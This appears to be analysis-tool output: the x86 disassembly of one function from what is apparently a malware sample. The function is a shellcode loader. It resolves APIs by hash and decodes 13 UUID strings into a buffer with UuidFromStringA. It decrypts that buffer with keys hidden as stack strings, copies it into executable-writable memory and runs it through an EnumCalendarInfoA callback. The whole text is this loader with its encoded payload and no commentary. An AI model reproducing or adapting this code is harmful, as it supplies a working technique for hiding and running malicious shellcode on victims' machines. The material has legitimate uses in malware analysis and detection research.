Function at 0x401678
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0xa0
call fcn.00402960
mov dword [esp], 0x5d8a0577
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [esp], 0x5d8a0657
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0xa76406c1
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0xa76409bd
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0xa764090f
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0x5d8a0625
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [esp], 0xa76408df
mov dword [esp + 4], 0xde0b6b3
call fcn.00401510
mov dword [esp], 0x5d8a076f
mov dword [esp + 4], 0x1634578
call fcn.00401510
mov dword [ebp - 0x54], str.f9de93eb_47e3_4e33_49c5_8de52f086c24
mov dword [ebp - 0x50], str.2c5bf7ca_27a2_2a80_9024_b9b514d2d3ae
mov dword [ebp - 0x4c], str.66578d5b_7257_20f1_5637_c93065a39b93
mov dword [ebp - 0x48], str.9eaa4781_13bf_1d0e_f65b_f6af977fd9d2
mov dword [ebp - 0x44], str.86ab7dea_059c_88e6_251c_a13ed4262829
mov dword [ebp - 0x40], str.2a4da29d_669b_bb0d_d27b_50ebbe2b536f
mov dword [ebp - 0x3c], str.90f240ed_3dc4_b3a4_f2ee_880b08b55449
mov dword [ebp - 0x38], str.c84cee2d_d12a_ec24_905f_5c9892e2e815
mov dword [ebp - 0x34], str.5fed7a5e_9332_1b37_a462_7cd713dff3a4
mov dword [ebp - 0x30], str.3f1ba733_4c1c_87fa_de35_acead2aff55c
mov dword [ebp - 0x2c], str.734b7758_b617_ecb7_a604_248939a23e01
mov dword [ebp - 0x28], str.eeb6e883_845e_b39f_d1ae_d989f410cf3d
mov dword [ebp - 0x24], str.6a3f0046_e0c5_15c4_55ac_a7225182e6c3
mov dword [ebp - 0x10], 0xd
mov eax, dword [ebp - 0x10]
shl eax, 4
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4017c9
mov eax, 0xffffffff
jmp 0x401937
mov dword [ebp - 0xc], 0
jmp 0x401819
mov eax, dword [ebp - 0xc]
shl eax, 4
mov edx, eax
mov eax, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x54]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.RPCRT4.dll_UuidFromStringA]
call eax
sub esp, 8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401815
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x401937
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jl 0x4017d2
mov eax, dword [ebp - 0x10]
shl eax, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x65], 0x6234674c
mov dword [ebp - 0x61], 0x506f6667
mov dword [ebp - 0x5d], 0x5653526b
mov dword [ebp - 0x59], 0x32346779
mov byte [ebp - 0x55], 0
mov dword [ebp - 0x76], 0x32305341
mov dword [ebp - 0x72], 0x76593550
mov dword [ebp - 0x6e], 0x7a343343
mov dword [ebp - 0x6a], 0x57744730
mov byte [ebp - 0x66], 0
lea eax, [ebp - 0x76]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x65]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.004015d4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x7c], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], 0x3000
lea eax, [ebp - 0x80]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
lea eax, [ebp - 0x7c]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00402407
mov ebx, dword [ebp - 0x7c]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov edx, eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call fcn.004023be
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0x400
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret